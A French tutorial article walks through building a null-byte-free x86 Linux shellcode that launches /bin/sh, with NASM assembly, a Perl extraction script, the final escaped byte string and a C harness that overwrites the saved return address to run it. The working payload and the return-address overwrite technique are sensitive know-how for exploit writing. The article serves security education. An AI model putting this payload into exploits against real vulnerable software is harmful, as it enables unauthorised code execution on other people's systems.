Création d'un shellcode sans douleur

Cet article est un complément à cet autre article. Il explique pas à pas la manière dont on crée un shellcode. Le lecteur prendra bien soin de se référer aux liens dans les commentaires des codes.

Un shellcode est une chaîne de caractère qui représente un code binaire exécutable. Un attaquant, en exploitant une vulnérabilité dans un programme cible, pourra détourner le flot d'exécution du programme sur cette chaîne. Le programme cible exécute le code voulu par l'attaquant.

Notre but est de créer un code binaire qui lance un shell. Soit un code équivalent au programme C suivant :
	     
#include <stdlib.h>
#include <unistd.h>

int main (void)
{
  char * arg[] = {"sh", NULL};

  execve("/bin/sh", arg, NULL);
  return 0;
}
	      
Afin d'obtenir un code binaire compact nous allons nous plaçer le plus près possible de la machine. Nous allons donc réaliser notre shellcode en assembleur. L'assembleur que nous utiliserons sera NASM. L'équivalent en assembleur du programme C ci-dessus est le programme suivant :
[global main]

;
; Construction d'un shellcode cf :
; http://ouah.kernsh.org/faillesart2.html
;
main:
	jmp short donnees
	
retour:
	pop esi				; on récupère l'adresse de la chaîne '/bin/sh'
					; sur la pile


	xor edx, edx			; pas de variable d'environnement

	mov [esi+8], esi		; cf http://ouah.kernsh.org/faillesart2.html
	mov [esi+12], edx

	mov al, 11			; syscall = 11, la fonction appellée est donc execve
					; cf http://www.lxhp.in-berlin.de/lhpsysc1.html
	mov ebx, esi
	lea ecx, [esi+8]		; ecx contient l'adresse d'un tableau avec les arguments cf. man execve
	int     0x80			; interruption

donnees:
	call retour		; Comme pour chaque instruction call
	db '/bin/sh',0		; eip + 4, cad l'adresse de l'instruction suivante,
				; est empilée pour pouvoir reprendre
				; l'exécution à la prochaine instruction 
				; après appel de la procédure retour.
				; Sur la pile on a donc l'adresse de la
				; chaîne '/bin/sh'
				;
	      
Vérifions le bon fonctionnement du programme :
kototama:~/Exploits$ nasm -f aout shellcode.asm -oshellcode
kototama:~/Exploits$ chmod +x shellcode
kototama:~/Exploits$ ./shellcode
sh-2.05b$
Notre programme lance bien un shell, comme voulu.

Un shellcode est souvent destiné à être recopié dans un buffer vulnérable. Or les fonctions de copie, par exemple strcpy, s'arrêtent dès qu'elles rencontrent un caractère nul ('\0'). Afin que notre shellcode soit recopié entièrement dans un buffer vulnérable il faut donc qu'il ne contienne aucun caractère nul. Seul le dernier caractère du shellcode peut être nul, il se termine ainsi comme une chaîne normale.
Ainsi nous avons soigneusement choisi les instructions assembleur afin qu'elle ne produisent pas d'octets nuls une fois compilées. Par exemple l'instruction mov eax, 0 (B800000000 en binaire) produit beaucoup de zéro, tandis que l'instruction équivalent xor eax, eax (31C0) n'en produit aucun. L'option -l de NASM nous permet d'obtenir un listing qui contient le code assembleur et le code binaire correspondant. Cela nous permet de vérifier qu'il n'y a pas de zéro dans notre code.

Nous avons donc un code binaire exempt d'octet nul qui exécute un shell. Il nous reste à en faire une représentation en chaîne de caractères afin qu'il puisse être copié dans un buffer. Par exemple si nous avons l'instruction binaire 31C0, la chaîne équivalente sera "\xC0\x31". Ainsi si un programme copie notre shellcode dans un buffer b, alors b[0] vaudra 0xC0 et b[1] 0x31 (sur une architecture little-endian, les octets de poids forts étant en premiers dans la mémoire). Le buffer b contiendra donc du code potentiellement exécutable.

Le code Perl suivant parcourt un listing généré par NASM afin de créer la chaîne de caractère qui correspond à notre shellcode.

#! /usr/bin/env perl

if(@ARGV < 1) { die "Usage $0 <fichier.lst>\n
Crée un shellcode à partir d'un fichier lst généré par NASM.\n"; }

$file = shift;

open(FILE, $file) or die "Impossible d'ouvrir le fichier $ARGV[0] : $!\n";

$shellcode = "";

while(<FILE>) {
  if(/ {4}\w+ (\w+) (\w+)./) {
    $shellcode.=$2;
  }
}

$shellcode =~ s/(\w{2})/\x$1/g;
$shellcode = lc($shellcode);
print "\"$shellcode\""."\n";
Exécutons le afin d'obtenir notre chaîne :
kototama:~/Exploits$ ./createShellCode.pl shellcode.lst
"\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00"
kototama:~/Exploits$
Pour terminer notre article nous allons réaliser un petit programme C qui exécute notre shellcode :

/* ici le shellcode que l'on a créé */
char sc[]="\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00";


main (void)
{
  int * ret;
  /*
    cf : 
    http://ouah.kernsh.org/faillesart2.html
  */
  * ((int *) &ret + 2) = (int) sc;
  return (0);
}

Lors de l'appel à la fonction main du programme la valeur du registre eip (extended instruction pointer) est sauvegardée sur la pile. Eip contient l'adresse de la prochaine instruction à exécuter. Ainsi au retour de la fonction main, le système connaitra la prochaine instruction à exécuter en récupérant son adresse sur la pile. Lors de l'entrée dans la fonction main le registre ebp (extended base pointer) est sauvegardé sur la pile. Puis de la place est allouée pour la variable ret. La pile se présente donc ainsi :
Vers les adresses hautes
______
 eip
______
 ebp
______
 ret
______
Vers les adresses basses
(ret + 2) pointe donc sur eip. En remplaçant la valeur de eip par l'adresse de notre shellcode le programme reprendra son exécution à l'adresse du shellcode. Or à cette adresse ce sont des instructions binaires qui sont codées, elles seront donc exécutées. Nous obtiendrons un shell.
kototama:~/Exploits$ gcc shell.c -oshell
kototama:~/Exploits$ ./shell
sh-2.05b$

Kototama <kototama-code at altern.org>